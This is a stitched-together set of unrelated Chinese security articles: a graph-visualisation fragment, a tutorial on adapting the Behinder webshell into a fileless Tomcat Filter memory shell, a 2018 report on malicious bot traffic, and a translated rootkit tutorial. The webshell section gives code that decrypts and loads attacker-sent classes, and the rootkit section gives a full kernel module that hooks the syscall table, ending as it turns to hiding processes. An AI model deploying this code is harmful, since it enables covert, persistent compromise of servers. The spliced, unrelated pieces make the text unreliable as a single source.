运行后如图，下面我们对视图做一些调整，让数据方便我们直接查看
由于数据过多会导致运行卡顿、数据难以查看，这里设置“滤波”将边小于4的人进行排除，展示效果如图：
通过数据可视化分析，我们可以轻松得到数据中的某些关联信息，如各个博客之间的引用关系，是否存在间接关系等等。说到这里突然想起“六度分隔理论”，百科解释如下：
一个数学领域的猜想，名为SixDegreesofSeparation，中文翻译包括以下几种：六度分隔理论或小世界理论等。理论指出：你和任何一个陌生人之间所间隔的人不会超过六个，也就是说，最多通过六个中间人你就能够认识任何一个陌生人。这就是六度分割理论，也叫小世界理论。“六度分隔”说明了社会中普遍存在的“弱纽带”，但是却发挥着非常强大的作用。有很多人在找工作时会体会到这种弱纽带的效果。通过弱纽带人与人之间的距离变得非常“相近”。所谓“六度分隔”，用最简单的话描述就是：在人际脉络中，要结识任何一位陌生的朋友，这中间最多只要通过六个朋友就能达到目的。
也就是说通过这种分析方式，你可以轻松的找到是哪六个朋友能让你认识某一个你想认识的人。什么？你想认识我？我会对这六个人的请求返回403,hhhhhhh。 | 社区文章 |
上一篇文章介绍了Tomcat基于Filter的无文件webshell的demo。Filter的webshell很简单，只是实现了一个简单的命令执行。查找了网上的公开的webshell，发现基于Filter并且功能比较齐全的webshell基本没有。所以萌生了自己魔改冰蝎以适配tomcat内存马的想法。
## 0x00 反编译冰蝎
1. 创建一个maven的项目。pom的依赖如下
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.json</groupId>
<artifactId>json</artifactId>
<version>20170516</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.servlet/servlet-api -->
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.1</version>
<scope>provided</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/asm/asm-all -->
<dependency>
<groupId>asm</groupId>
<artifactId>asm-all</artifactId>
<version>3.3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.servlet/servlet-api -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
<scope>provided</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/org.xerial/sqlite-jdbc -->
<dependency>
<groupId>org.xerial</groupId>
<artifactId>sqlite-jdbc</artifactId>
<version>3.31.1</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>7.0.25</version>
</dependency>
</dependencies>
2. 将冰蝎中这几个jar包，拷贝进来。然后记得右键选择 add as library。
3. 然后通过idea反编译，将每个class的反编译后的结果，拷贝到项目中。
4. 对反编译的结果稍作修改，即可运行。冰蝎的main class在ui.Starter中
结果如图
## 0x01 改造分析
Filter中只有request与response。session可以通过request去获取，代码如下
((HttpServletRequest)request).getSession()
而冰蝎的原理为，上传一个class字节码，通过调用classloader的defineClass方法，将class字节码，转换为Class。实例化上传的这个类，通过equal方法传递PageContext。equals方法只接受一个参数，通过对这9个对象分析发现，只要传递pageContext进去，便可以间接获取Request、Response、Seesion等对象，如HttpServletRequest
request=(HttpServletRequest) pageContext.getRequest();
冰蝎实现命令执行，获取信息等的类在payload.java中，我们随便点开一个看一下
冰蝎主要用到了三个对象，分别是
* request 获取请求
* response 向响应中写入结果
* session session中存放aes加密的密钥
## 0x02 代码实现
### 方法一
Filter中的response的请求类型为`org.apache.catalina.connector.ResponseFacade`。里面有一个response字段，类型为`org.apache.catalina.connector.Response`。代码如下
在这里我们可以很清晰的看见，构造函数中的参数中存在一个request对象。所以，我们可以从response对象中，间接获取request对象与session对象。idea调试截图
代码实现如下
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
org.apache.catalina.connector.Response resp = (Response) responseField.get((ResponseFacade) response);
ServletRequest request = resp.getRequest();
HttpSession session = resp.getRequest().getSession();
Filter中内存马的代码如下
try{
if (u != null) {
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec((u + "").getBytes(), "AES"));
byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
evilClass.newInstance().equal(response);
return;
}
} catch (Exception e) {
}
chain.doFilter(request, response);
}
只需要修改payload.java中各个payload的request，response，session改造成上面的代码，重新打包即可。
> 当然，这种方法存在神坑，会一直报错，如下
### 方法二
修改冰蝎的payload，不再使用equal方法作为执行payload的入口点。添加一个方法，参数如下
public boolean fuck(ServletRequest request, ServletResponse response)
payload中替换一下response与request。内存马中可以这样写
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec((u + "").getBytes(), "AES"));
byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
Object a = evilClass.newInstance();
Method b = evilClass.getDeclaredMethod("fuck", ServletRequest.class, ServletResponse.class);
b.invoke(a, request, response);
return;
这样就可以解决那个神坑问题，一切ok
## 0x03 成果检验
将生成的Filter使用jsp或者shiro反序列化漏洞，加载至tomcat系统中。
正常访问网站
一切正常，没有任何问题
通过冰蝎访问网站，url处随便写，如图
访问，如图所示
当然，因为这个是魔改的程序，没有经过原作者允许就去公开，可能不太好。所以目前只限于内部交流，暂时还没有想法公开给大家。一切只是抛砖引玉，实现的方法还有很多。希望大佬轻拍 | 社区文章 |
# 极验2018交互安全行业研究报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
从互联网的诞生，到如今人工智能技术的炙手可热，每一次技术革命都给人来带来极大的便捷。同时，存在这样一群人，他们掌握先进的抟术，并利用技术对企业与个人资产实施入侵与破坏，牟取利益，给社会带来极大的安全隐患。
技术不是恶的本身，我们唯有接近黑产，了解黑产，才能更有针对性的与之抗衡。
《2018交互安全行业研究报告》报告主要聚焦于 OSI
第七层的业务层，极验交互安全实验室通过2018年全年对全国近万个域名、数千亿次的交互数据展开分析，尽可能真实还原2018年国内互联网机器流量状况。
## 机器流量的定义
Good Bot：通过编程人员的设计脚本自动执行简单且重复的任务，提升工作效率。
包括:
搜索引擎爬虫: Googlebot、 Bingbot、
Baidubot在线爬虫服务自动发现和索引互联网网站的内容，收录到搜索引擎，方便互联网用户更容易找到他们需要的內容。
自动交易程序：股票/数字货币/贵金属等交易平台可以设置自动止损止盈、加仓减仓、定 时委托等业务，完成自动交易。
网站监控软件：实时检测网站、App的可用性、报告页面加载时间和停留时间、改善应用的用户体验、提升业务转化、减少用户流失，很多的应用性能管理(APM)解决方案和大数据分析软件都是如此。
自动订阅机器人：包括订阅的电子期刊、邮件推送、实时新闻、天气信息等。
自动聊天机器人：以主流电商平台为例，提供的机器客服，可以根据实时客户情况完成大量订单、售前售后问题的处理解答。
Bad
Bot：坏机器人会为您的网站带来虚假流量，其恶意可能涉及爬取有价值的数据(文章內容、商品价格、评论信息等)、发布垃圾评论和网络钓鱼链接，影响网络分析和搜索引擎优化，导致DDoS攻击等。
## 恶意机器流量的特点
持续性：
不同于数据泄漏、拖库、勒索病毒这样的偶发性安全事件,恶意的机器流量更多呈现的是持续破坏性。体现在两个方面：
1、利益驱动 以航空公司机票查询接口为例，超过60%的流量都是机器流量，由于行业特殊的价格浮动体系，需要不断的爬取最新价格与航班信息。
2、无人管理 很多爬虫早已处于无人管理的状态，甚至存在近十年之久，早已失去当时爬虫的价值，但是由于无人管理导致对整个互联网的持续资源消耗。
普遍性：
随着越来越多的资产从线下迁移到线上，近几年大数据与人工智能的飞速发展，硬件性能的不断提高，专门做大数据的公司或者公司的大数据部门对输入样本/数据的需求量达到顶峰，只要你的网站存在可以利用资源，几乎都会成为爬取的样本。
行业性：
由于行业性质的不同，其利益产生点也相应不同，所以机器流量的攻击行为也呈现差异化，具体差异性表现为间歇性与持续性的差异；不同场景攻击目的的差异；登录与非登录状态下的差异。
机器流量的分布
行业分布排名Top10：
票务(23.6%)、政府公共服务(15.8%)、电商(12.6%)、内容平台(9.4%)、视频/直播(7.6%)、社交(5.9%)、游戏(5.2%)、OTA(3.8%)、新闻(3.5%)、数字货币(1.8%)、其他(10.8%）
### 2018 国内机器流量占比 — 票务行业机器
解读:
恶意机器流量在票务中近3/4都在火车票领域，而在火车票中几乎所有的流量都指向了某售票网站及APP，由于特殊的市场性质以及运力不足，导致恶意机器流量呈现罕见的大规模性聚集。
而这一问题，在节假日出行高峰期格外凸显，一票难求冋题依然严峻，由此产生的巨大利益空间，催生恶意机器流量的疯涨。恶意机器流量的逐年增加，将原本就不平等的机器与人“抢票”矛盾进一步激化，导致目前抢票软件的肆虐，普通用户需要支付更高额的成本来换取车票。
航空领域，由于机票其特殊的价格浮动体系，让各大航空公司不得不面对恶意机器爬虫问题，迫使航司需每年向中航信支付大量额外接口查询费用航空公司的恶意占座问题依然严峻，近年来所采用的“超售”、“熔断”、“对于支付订单回仓”等解决方案并未根本解决占座问题。
### 2018 国内机器流量占比 — 政务公共服务
解读：
近年来越来越多的公司，利用国家公共平台的信息作为其商业化产品的重要数据来源（大数据征信产品，精准营销服务产品，车辆信息查询产品等），辅助以良好的交互体验、产
品包装实现商业化的目的。这样大规模的数据来源需要大量的机器爬虫来提升入库的效率。
目前网络安全法并没有对国家公共信息爬取相关行为做明确的解释或者界定，但是巨大恶意机器流量确实对公共平台的带宽资源造成了极大的消耗，近90％的带宽资源都被恶
意机器流量所占用。
### 2018 国内机器流量占比 — 电商行业
解读：
非登录态下的爬虫占了整个电商行业近一半的流量，包括动态数据（销量、库存、原价、
现价等）和静态数据（商品信息、评论、点评等），机器流量来源更多的是同类电商平台或者比价平台。
近1/4的恶意机器流量在撞库场景，一旦撞库成功，这些账号则会被分销至洗号产业链 ，
根据不同平台的账号细分完成进一步积分消耗，个人信息售卖，电信诈骗，持续其他平台撞库等行为。
其他场景的机器流量则体现为利用优惠券商品代下单，养号，刷单等业务问题。
### 2018 国内机器流量占比 — 内容平台
解读：
关于内容平台的恶意机器流量主要分为两部分，一是恶意爬虫对优质内容的爬取，二是广
告性质的发帖与评论，作为内容平台，不论是UGC还是PGC产出的优质内容，都是对平台本身用户砧性最基础保障。
### 2018 国内机器流量占比 — 游戏行业
解读：
2017年上半年，中国以275亿美元的游戏市场收入超过美国和日本，成为全球榜首。高额的攻击利润，让游戏行业成为黑产圈的“风口”。游戏公司因DDoS攻击，而造成经济
损失高达数百万元／天。其中，棋牌类游戏成为DDoS攻击“重灾区”，不少游戏公司因遭到DDoS攻击打击，被迫停止业务运营，频临倒闭。
欺诈作弊主要表现为：批量注册、流量造假、撞库盗号。欺诈作弊问题覆盖超过95％的游戏公司，一方面，游戏公司大量资源被黑产抢占，造成高成本、低转化的运营难题；另一方面，面对竞争，仅刷单欺诈一项，游戏商年损失超412亿。
根据2017年手游质量白皮书显示，近30％外挂手游都存在致命安全问题，即使这样，也未能阻挡外挂市场的空前繁荣，根据《绝地求生》反作弊系统BattlEye的官方数据报告显示，一条由成熟、庞大团队运作，规模达到数千亿美金的庞大游戏外挂黑色产业链已经形成。
### 2018 国内机器流量占比 — 其他
**视频/直播行业**
视频网站的恶意机器流量主要存在于刷量与刷榜中。一部网剧动辄几百亿的播放次数让人
畔目结舌的同时，其背后包括了视频制作方、视频出版方、广告主、投资方、平台本身等
复杂的利益关系；至于刷榜就是针对于某些节目或者艺人的变相投票业务，不论是经纪公
司还是粉丝都会与一些第三方刷量团队存在合作。这些恶意的机器流量通常会对视频平台 的用户荐权机制产生影响，因为播放量是其中一个重要的衡量因素。
直播平台恶意机器流量主要体现在虚假观看人数、主播订阅关注量、虚拟道具领取的场景。达到一定知名度的主播的工资体系由固定工资与浮动工资两部分构成，而浮动工资则
是与主播的人气、房间订阅量、礼物桂钩，所以衍生出了许多专门为主榴刷人气的第三方
团伙，也就是恶意流量的来源。这些恶意的机器流量对直播平台造成的危害不仅仅是高出 正常数倍的工资，还有其带来的巨大网络带宽的消耗所产生的CDN费用。
**社交**
社交领域的恶意机器流量主要集中在恶意注册、垃圾信息以及樟库攻击。
一方面，刷榜刷量的需求下，黑产利用程序，批量注册社交网站及APP马甲账号。并持续养号，用于谋取利益；
另一方面，通过撞库攻击，导致社交平台大量用户信息泄露，危及平台以及用户资产隐私信息安全。
**OTA**
OTA领域的恶意机器流量主要集中在数据造假与恶意爬虫上。随着互联网流量红利时代的消失，流量的成本也在剧增。而面临个性化市场需求，流量越来越分散，越来越贵。另
外，OTA领域同样也是爬虫重灾区，为维护平台活跃度的需要，针对UGC市场的争夺也早已进入白热化。
**数字货币**
从2016年开始，以几个主流货币为主的数字货币逐渐步入大众视野，据不完全统计，国内目前有近千家数字货币交易所，上万种数字货币。作为新兴的数字货币市场，大多企业正处在前期依靠大量补贴，简单粗暴的获客阶段。其所面对的主要恶意机器流量，主要为羊毛党。
**业务场景分布占比**
解读：
业务安全必须立足与业务，场景则是业务最直接的体现。
查询场景占31.4％的恶意机器流量正面说明了目前整个互联网爬虫肆虐的现状，包括国家公共政务平台、医院挂号系统、火车票务网站、演唱会票务网站、机票／酒店价格查询
等众多行业都饱受恶意爬虫的危害，给企业带来巨大不必要的带宽成本；
下单场景则主要集中于电商行业，随着电商行业的GMV不断刷新，以抢购、刷单为目的
黑色产业涟也逐渐走向成熟，在每年“双十一”、”618″、“年货节”等大促时间段内，下单场景的恶意流量都会出现激增；
登录、注册场景是重中之重的账户安全环节，也是所有黑产攻击的入口，随着近几年整个
行业对于账户安全的认知不断提高，大多数企业都在入口做了一定程度安全措施，近两年 占比相对稳中有降。
## 风险IP追踪分析
## 黑产团伙的定义
在业务安全的范畴内，黑产团伙特指通过复用相同的资源（IP池、UA池、手机卡、身份信息等）或使用相似的攻击手法在时间维度呈现一定的聚集性对业务方有目的的攻击行为发起方。
当前黑产团伙基础工具：VPS混合拨号、猫池＋卡池、群控＋云控。以标准版本来说：一套
100台手机的群控系统大概整体需要10w（整体包含服务器、日UB、手机支架、操作系
统、100台2G+16G的三网通手机）一套100台手机云控系统大概整体需要5w（包含8
核16G安卓版本4.4物理机100台以及必要的’P代理、一键新机、日志调试、应用下载 功能）
## 黑产团伙五大特点
专业化：
黑产团伙技术升级迭代非常快，甚至在相关业务场景已实现Al技术的应用
产业化：
网络黑产已经形成规模巨大、上下供应链成熟的庞大的产业链条，极大降低了犯罪的各环节成本
规模化：
目前我国网络黑产专职从业人员已经超过150万人，年产值达千亿级别
集团化：
黑产团伙具备较高的隐蔽性，从业者会专门注册合法公司，披着科技外衣来获取灰色收入
国际化：
黑产团伙往往跨境作案，并和国内多地维持隐蔽的联络，以此逃避警方打击。近年来，黑 产团伙活跃于泰国、菲律宾、柬埔寨、越南等东南亚国家
极验交互安全实验室对国内黑产主要工具进行长期持续的监控，以一款主流黑产工具“火
牛”为例：在12.11-12.21十天的时间内就监测到7个版本的更新，一个月更新了23个
版本，除了修复Bug之外，更多的是攻击策略的不断变化更新。从侧面直接体现出，黑 产团伙与业务方安全团队对抗的不断升级。
整个安全行业攻守双方的不平等性一直存在，而且随着黑灰产业链的不断分工细化、人工 智能技术的普及与应用，对抗的形式在2018年更是愈加激烈。
极验交互安全实验室通过对2018年全年top2O黑产工具全年的跟踪分析、数＋家一线互
联网公司风控部门交流，涉及电商、金融、航空、区块链等多个核心行业，2018业务安
全领域“业务规则”平均有效寿命不到100个小时，其中1月、6月、10月、11月、12 月几个业务高发期寿命甚至低于48小时。
## 多企业遭遇同一团伙攻击
专业的黑产团伙由于其前期软硬件投入成本、对甲方业务规则分析成本、账号可能被封禁的时间成本存在，往往都会同时在相同行业或者相同业务类型的多家业务方作案，有些团伙甚至有跨行业跨业务的作案行为。极验交互安全实验室通过近半年对数万家企业用户的
持续监控和对长链条时间跨度的聚类分析，抽取典型的10个的团伙覆盖企业数统计如下：
## 总结
随着互联网的快速发展，企业资产不断向网络倾斜。在暴利驱动下，网络黑产的市场规
模、技术创新以及破坏性，已到达互联网有史以来的巅峰。在我们享受科学技术带来的便利的同时，黑产已从往曰混迹于暗网黑市的小团伙，发展成如今登堂入室的新势力。
作为黑产攻击的主力军，恶意机器流量已经渗透至各行业的核心场景，并将随着人工智能技术的发展，对企业相对传统的业务安全防御体系造成近乎碾压之势。
同时黑产团伙由互联网初期的工作室、个体发展成为当前组织庞大的黑产集团。他们在财力、人力、技术等核心资源上，已经得到空前发展。从互联网初期小规模的礴羊毛行为，
到如今高频次、大规模的企业攻击行为，黑产团伙对抗已经成为全球企业发展无法回避的课题。
与之对应，越来越多的企业以及个人逐渐意识到黑产团伙对于资产与敏感信息的巨大破坏性。未来的业务安全，一定是交互场景与安全的紧密结合。随着人工智能技术在安全领域的应用与创新，企业与黑产之间的博弈将更加复杂多变。未来企业网络安全攻防，也将更具挑战。 | 社区文章 |
# 【技术分享】Rootkit技术入门：从syscall到hook！
|
##### 译文声明
本文是翻译文章，文章来源：d0hnuts.com
原文地址：<https://d0hnuts.com/2016/12/21/basics-of-making-a-rootkit-from-syscall-to-hook/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：200RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**警告：本教程仅用于安全研究，切勿因其他目的而制作rootkit。**
**什么是rootkit**
简单地说，rootkit是一种能够隐身的恶意程序，也就是说，当它进行恶意活动的时候，操作系统根本感觉不到它的存在。想象一下，一个程序能够潜入到当前操作系统中，并且能够主动在进程列表中隐藏病毒，或者替换日志文件输出，或者两者兼而有之——那它就能有效地清除自身存在的证据了。此外，它还可以从受保护的内存区域中操纵系统调用，或将接口上的数据包导出到另一个接口。本教程将重点介绍如何通过hooking系统调用来进行这些活动。在本教程的第一部分，我们将打造自己的系统调用，然后打造一个hook到我们创建的系统调用上面的rootkit。在最后一部分，我们将创建一个rootkit来隐藏我们选择的进程。
**用户空间与内核空间**
我们之所以上来就打造一个系统调用，其目的就是为了更好地理解在内核空间与用户空间中到底发生了些什么。在用户空间中运行的进程，对内存的访问将受到一定限制，而在内核空间运行的进程则可以访问所有内存空间。但是，用户空间的代码可以通过内核暴露的接口来访问内核空间，这里的所说的接口就是系统调用。如果你曾经用C语言编程，并且摆弄过Linux的话（是的，我们将用C编程，但不用担心，因为这里介绍的例子会非常简单），那么你很可能已经用过系统调用了，只不过你没有意识到罢了。read()、write()、open()就是几个比较常见的系统调用，只不过我们通常都是通过诸如fopen()或fprintf()之类的库函数来调用它们而已。
当你以root身份运行进程的时候，不见得它们就会运行在内核空间。因为root用户进程仍然是一个用户空间的进程，只不过root用户的进程的UID =
0，内核验证过其身份后会赋予其超级用户权限罢了。但是，即使拥有超级用户权限，仍然需要通过系统调用接口才能请求内核的各种资源。我希望大家能够明确这一点，这对进一步阅读下面的内容非常重要。
好了，闲话少说，下面切入正题。
**所需软硬件**
linux内核（我使用debian的最小化安装，内核版本为3.16.36）
虚拟机软件（VMware、Virtualbox、ESXi等）
我建议给VM配置2个CPU内核，至少4GB内存，但1核和2GB也能对付。
需要强调的是︰
1\. 我不会对示例代码进行详尽的介绍，因为代码都自带了注释。这样做好处是，可以督促读者自行深入学习。
2\. 我的VM使用的是Debian最小化安装，因为我发现内核的版本越旧，打造自己的系统调用时就越容易，这就是选择3.16.36的原因。
3\. 文中的所有命令都是以root帐户在VM中运行的。
**创建系统调用：pname**
**** 启动VM，让我们先从一个内核源码开始玩起。实际上，介绍如何打造自己的系统调用的教程已经有许多了。如果你想打造一个简单的“hello
world”系统调用的话，请参考这篇文章：<https://chirath02.wordpress.com/2016/08/24/hello-world-system-call/>。
通过下面的命令，获取内核源码的副本，并将其解压缩到/usr/src目录下面：
wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.16.36.tar.xz
tar -xvf linux-3.16.36.tar.xz -C /usr/src/
cd /usr/src/linux-3.16.36
**pname (进程名称):**
现在，让我们从一个简单的系统调用开始入手：当向它传递一个进程名称时，它会将该进程对应的PID返回到启动该系统调用的终端上面。首先，创建目录pname，然后通过cd命令切换到该目录下面：
mkdir pname
cd pname
nano pname.c
#include <linux/syscalls.h>
#include <linux/kernel.h>
#include <linux/sched.>
#include <linux/init.h>
#include <linux/tty.h>
#include <linux/string.h>
#include "pname.h"
asmlinkage long sys_process_name(char* process_name){
/*tasklist struct to use*/
struct task_struct *task;
/*tty struct*/
struct tty_struct *my_tty;
/*get current tty*/
my_tty = get_current_tty();
/*placeholder to print full string to tty*/
char name[32];
/*<sched.h> library method that iterates through list of processes from task_struct defined above*/
for_each_process(task){
/*compares the current process name (defined in task->comm) to the passed in name*/
if(strcmp(task->comm,process_name) == 0){
/*convert to string and put into name[]*/
sprintf(name, "PID = %ldn", (long)task_pid_nr(task));
/*show result to user that called the syscall*/
(my_tty->driver->ops->write) (my_tty, name, strlen(name)+1);
}
}
return 0;
}
然后，创建头文件：
nano pname.h
asmlinkage long sys_process_name(char* process_name);
接下来，创建一个Makefile：
nano Makefile
在里面，添加如下内容：
obj-y := pname.o
保存并退出。
**将pname目录添加到内核的Makefile中：**
回到/usr/src/linux-3.16.36目录，并编辑Makefile
cd ..
nano Makefile
您要查找core-y += kernel/mm/fs/ipc/security/crypto/block/所在的行。
cat -n Makefile | grep -i core-y
然后
nano +(line number from the cat command here) Makefile
将pname目录添加到此行的末尾（不要忘记“/”）：
core-y += kernel/ mm/ fs/ ipc/ security/ crypto/ block/ pname/
当我们编译这个文件的时候，编译器就会知道从哪里寻找创建新的系统调用所需的源文件了。
**将pname和sys_process_name添加到系统调用表中：**
请确保仍然位于/usr/src/linux-3.16.36目录中。接下来，我们需要将新建的系统调用添加到系统调用表中。如果您使用的是64位系统，那么它将会添加到syscall_64.tbl文件的前＃300之后（将64位和32位系统调用隔离开来）。此前，我的64位系统调用最后一个是＃319，所以我的新系统调用将是＃320。如果它是一个32位系统，那么你可以在syscall_32.tbl文件结尾处进行相应的编辑。
nano arch/x86/syscalls/syscall_64.tbl
添加新的系统调用：
320 common pname sys_process_name
将sys_process_name(char * process_name)添加到syscall头文件中：
最后，头文件必须提供我们函数的原型，因为asmlinkage用于定义函数的哪些参数可以放在堆栈上。它必须添加到include / linux /
syscalls.h文件的最底部：
asmlinkage long sys_process_name(char* process_name);
**编译新内核（这个过程需要一段时间，请稍安勿躁）：**
这将需要很长时间，大概需要1-2小时或更多，具体取决于这个VM所拥有的资源的多寡。然后，从源代码文件夹/usr/src/linux-3.16.36中输入下列命令：
make menuconfig
通过方向键选中保存选项，按回车键，然后退出。
如果您正在运行的虚拟机具有2个内核，则可以使用下列命令：
make -j 2
否则的话，只需输入下列命令即可：
make
现在，耐心等待它运行结束。
**安装新编译的内核：**
完成上述操作后（希望没有任何错误），还必须进行安装操作，然后重新启动。
make install -j 2 # or without -j option if not enough cores
make modules_install install
reboot
**测试新的pname系统调用：**
还记得使用哪个数字把我们的系统调用中添加到系统调用表中的吗？我使用的数字为320，这意味着系统调用号为320，同时，我们必须以字符串的形式来传递进程名称。下面，让我们测试一下这个新的系统调用。
nano testPname.c
#include <stdio.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <string.h>
int main(){
char name[32];
puts("Enter process to find");
scanf("%s",name);
strtok(name, "n");
long int status = syscall(320, name); //syscall number 320 and passing in the string.
printf("System call returned %ldn", status);
return 0;
}
gcc testPname.c -o testPname
./testPname
由于我使用ssh配置我的VM，我将进入进程sshd。我打开了另一个终端来查看所有通过sshd运行的进程，然后运行该可执行文件：
该系统调用通过遍历进程列表发现了3个sshd进程（grep
sshd不是正在运行的sshd进程），并通过TTY将其输出到调用它的终端上，最后成功退出（状态值为0）。
现在，您已经有权在内核（受保护的内存区）空间中查找进程了。这个进程列表中，你不会发现这个系统调用——尽管它正在运行，但你会发现testPname可执行文件正在运行：
如何才能找到我们的新系统调用呢？ 很简单：使用strace工具。
sudo apt-get install strace
针对可执行文件运行strace时，它将暂停以读取用户输入（可以通过系统调用read()来读入，但是需要注意的是，在我们的测试程序中使用的是来自stdio.h库的scanf()函数）。这时，输入你喜欢的任何进程即可。
在下面，从read()系统调用到程序退出的代码都进行了突出显示：
strace ./testPname
只要把bash的进程名称传递给strace，它就会立刻找出该进程所使用的系统调用——我们的syscall_320。你也可以使用该工具来检查我们运行的程序用到的所有其他系统调用，例如mmap（内存映射）和mprotect（内存保护）等。我建议大家逐一研究这些系统调用，以充分了解它们都可以做哪些事情，并仔细考虑攻击者能够用它们来干什么。
此后，我们将hooking系统调用open()，但是就目前来说，不妨先用我们的第一个rootkit来“钩取”系统调用syscall_320
**利用Rootkit“钩取”Pname**
首先要弄清楚的一件事情是，现在我们要以hook的形式来打造一个内核模块，而不是借助系统调用。这些模块可以随时通过insmod和rmmod命令（前提是您已经获得了相应的权限）加载到内存和从内核中删除。为了查看当前正在运行的所有模块，您可以使用lsmod命令。就像我们的新程序将成为一个模块一样，从技术上讲，它可以被定义为一个hook，因为我们将“hooking”到之前创建的pname系统调用上。
在研究过程中，我在<https://www.quora.com/How-can-I-hook-system-calls-in-Linux>发现了一篇非常棒的文章，它深入浅出地介绍了打造hook的方法。请选择一个存储hook的目录并利用cd命令切换到这个目录下面，这里我选择的是root目录。
**查找sys_call_table地址：**
我们首先要做的事情就是找到系统调用表地址，因为一旦找到了这个地址，我们就能够对其进行相应的处理，进而hook系统调用了。为了找到这个地址，我们只需在终端中键入：
cat /boot/System.map-3.16.36 | grep sys_call_table
将这个地址复制到我们的代码中。
注意：有许多方法可以用来动态搜索sys_call_table，我强烈建议您使用这些方法而不是硬编码。然而，为了便于学习，这里就不那么讲究了。我打算将来编写一个更高级的rootkit，让它也支持动态搜索能力。如果你想提前了解这方面的知识并亲自尝试一下的话，我建议阅读下面的文章：
<https://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/>
Hook! Hook! Hook!
以下是我的captainhook.c代码:
#include <asm/unistd.h>
#include <asm/cacheflush.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <asm/pgtable_types.h>
#include <linux/highmem.h>
#include <linux/fs.h>
#include <linux/sched.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
#include <asm/cacheflush.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("D0hnuts");
/*MY sys_call_table address*/
//ffffffff81601680
void **system_call_table_addr;
/*my custom syscall that takes process name*/
asmlinkage int (*custom_syscall) (char* name);
/*hook*/
asmlinkage int captain_hook(char* play_here) {
/*do whatever here (print "HAHAHA", reverse their string, etc)
But for now we will just print to the dmesg log*/
printk(KERN_INFO "Pname Syscall:HOOK! HOOK! HOOK! HOOK!...ROOOFFIIOO!");
return custom_syscall(play_here);
}
/*Make page writeable*/
int make_rw(unsigned long address){
unsigned int level;
pte_t *pte = lookup_address(address, &level);
if(pte->pte &~_PAGE_RW){
pte->pte |=_PAGE_RW;
}
return 0;
}
/* Make the page write protected */
int make_ro(unsigned long address){
unsigned int level;
pte_t *pte = lookup_address(address, &level);
pte->pte = pte->pte &~_PAGE_RW;
return 0;
}
static int __init entry_point(void){
printk(KERN_INFO "Captain Hook loaded successfully..n");
/*MY sys_call_table address*/
system_call_table_addr = (void*)0xffffffff81601680;
/* Replace custom syscall with the correct system call name (write,open,etc) to hook*/
custom_syscall = system_call_table_addr[__NR_pname];
/*Disable page protection*/
make_rw((unsigned long)system_call_table_addr);
/*Change syscall to our syscall function*/
system_call_table_addr[__NR_pname] = captain_hook;
return 0;
}
static int __exit exit_point(void){
printk(KERN_INFO "Unloaded Captain Hook successfullyn");
/*Restore original system call */
system_call_table_addr[__NR_pname] = custom_syscall;
/*Renable page protection*/
make_ro((unsigned long)system_call_table_addr);
return 0;
}
module_init(entry_point);
module_exit(exit_point);
你可能已经注意到__NR_pname，它代表数字，即pname的系统调用的编码。别忘了我们已经将该系统调用添加到syscall_64.tbl（tbl =
table duhh）中。
我们赋予它一个数字、一个名称和函数名。在这里，我们使用的是其名称（pname）。它将拦截pname系统调用，并且每成功一次就打印一次dmesg。
**创建Makefile：**
我们必须创建另一个Makefile，具体方法就像我们在创建系统调用时所做的一样，但由于这里是一个模块，所以会有一点不同：
nano Makefile
obj-m += captainHook.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
**在加载到运行中的内核后测试该hook：**
现在万事俱备，只剩下编译了。对其进行编译的时候，绝对不会像编译内核那样费时，因为它只是一个模块而已。为此，只需键入下列命令：
make
很好，你现在应该多了一些其他文件，而我们想要的是.ko文件：
现在打开另一个终端，键入以下命令以清除dmesg，然后插入该模块并运行testPname，并跟踪其输出：
第一个终端:
dmesg -c
dmesg -wH
第二个终端:
insmod captainHook.ko
cd ..
./testPname
rmmod captainHook
captainhookworks
经过一番努力，终于成功地创建了一个可以抓取系统调用（也就是rootkit）的钩子！想象一下，如果你的__NR_
pname是__NR_open或__NR_read会怎样？
您可以自己尝试一下，或继续阅读下一部分。不过，就这一点来说，有很多其他教程可资利用，例如：<https://ruinedsec.wordpress.com/2013/04/04/modifying-system-calls-dispatching-linux/>
**对系统管理命令“ps”隐身**
现在，让我们通过编程技术来实现对ps命令隐藏进程。首先，找到你想要隐藏的进程的PID，并想清楚你想让它伪装成哪个进程。就本例而言，我将用一个bash进程给su（sudo）进程打掩护，以便系统管理员看不到有人正在使用超级用户权限运行。
